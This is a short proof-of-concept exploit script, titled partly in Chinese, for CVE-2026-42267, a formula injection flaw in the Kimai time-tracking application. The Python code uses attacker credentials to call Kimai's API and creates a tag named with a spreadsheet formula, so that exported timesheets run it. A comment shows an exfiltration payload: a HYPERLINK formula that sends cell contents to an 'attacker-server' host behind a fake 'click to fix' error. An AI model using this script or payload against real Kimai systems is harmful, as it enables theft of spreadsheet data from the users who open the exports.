CVE-2026-42267 Kimai Excel公式注入漏洞

# PoC for CVE-2026-42267: Kimai Excel Formula Injection import requests target = "https://<kimai-domain>" api_endpoint = f"{target}/api/tags" auth = ("attacker", "password") # Payload: Excel Formula that could be used for data exfiltration or command execution # Example: =HYPERLINK("http://attacker-server/?leak="&A1&"&b="&B1, "Error: Click to fix") malicious_tag_name = "=SUM(54+51)" headers = {"Content-Type": "application/json", "Accept": "application/json"} payload = {"name": malicious_tag_name, "color": "#ff0000"} try: # Step 1: Create the malicious tag response = requests.post(api_endpoint, json=payload, auth=auth, headers=headers) if response.status_code == 201: tag_id = response.json().get('id') print(f"[+] Malicious tag created with ID: {tag_id}") # Step 2: Assign tag to a timesheet (requires a valid timesheet ID) # ts_id = "<valid_timesheet_id>" # patch_payload = {"tags": [tag_id]} # requests.patch(f"{target}/api/timesheets/{ts_id}", json=patch_payload, auth=auth, headers=headers) # print(f"[+] Tag assigned to timesheet {ts_id}") else: print(f"[-] Failed to create tag: {response.text}") except Exception as e: print(f"Error: {e}")